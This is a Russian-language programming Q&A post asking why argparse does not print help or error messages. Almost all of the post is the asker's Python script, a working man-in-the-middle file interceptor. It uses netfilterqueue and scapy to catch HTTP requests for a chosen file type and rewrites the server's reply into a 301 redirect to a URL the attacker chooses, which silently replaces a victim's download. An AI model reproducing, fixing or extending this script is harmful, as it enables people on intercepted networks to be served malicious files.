Невозможно использовать Argparse - PullRequest
Новая
       55

Невозможно использовать Argparse

0 голосов
/ 14 апреля 2020

Приведенный ниже код принимает аргументы, но не выводит справочное меню при указании -h. Метод error не печатает указанное сообщение, если отсутствует какой-либо аргумент. Я что-то пропустил?

Я ожидаю, что код напечатает пользовательское сообщение, когда аргументы не указаны или отсутствуют. 

import netfilterqueue
import scapy.all as scapy
from termcolor import colored
import argparse

seq_list = []

def get_argurments():
    parse = argparse.ArgumentParser()
    parse.add_argument("-f", "--filetype", dest="filetype", help="Press -h for Help.")
    parse.add_argument("-u", "--url", dest="url", help="Press -h for Help." )
    args = parse.parse_args()
    return args

def process_queue():
    queue = netfilterqueue.NetfilterQueue()  # Creating an Instance of NetFilterQueue.
    queue.bind(0, process_packets)  # Binding the instance to the '0' Queue-num in Iptables rule.
    queue.run()

def set_packet_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packets(packet):
    args = get_argurments()
    scapy_packet = scapy.IP(packet.get_payload()) # To convert the Raw packets into scapy packets.
    if scapy_packet.haslayer(scapy.Raw):          # Checking for Raw Layer which contains the useful Data.
        if scapy_packet.haslayer(scapy.TCP):
            if scapy_packet[scapy.TCP].dport == 80:
                if args.filetype in scapy_packet[scapy.Raw].load:
                    print(colored("[+] File Request", "yellow"))
                    load = scapy_packet[scapy.Raw].load
                    print(colored("[+] Request >> ", "green") + load)
                    seq_list.append(scapy_packet[scapy.TCP].ack)
            elif scapy_packet[scapy.TCP].sport == 80:
                if scapy_packet[scapy.TCP].seq in seq_list:
                    seq_list.remove(scapy_packet[scapy.TCP].seq)
                    print(colored("[+] Replacing File", "green"))
                    modified_packet = set_packet_load(scapy_packet, "HTTP/1.1 301 Moved Permanently\nLocation: "+ args.url + "\n\n")
                    modified_response = scapy_packet[scapy.Raw].load
                    print(colored("[+] Modified Response >> " + modified_response))
                    packet.set_payload(str(modified_packet))
    packet.accept()                               # Forwarding the Packets.

def launch_attack():
    print(colored("[+] File Interceptor running... Make sure you specified the FileType (-f) and Replacement File URL (-u) ", "green"))
    try:
        process_queue()
    except KeyboardInterrupt:
        print(colored("[-] Ctrl-C Detected... Quitting..", "yellow"))

launch_attack()
...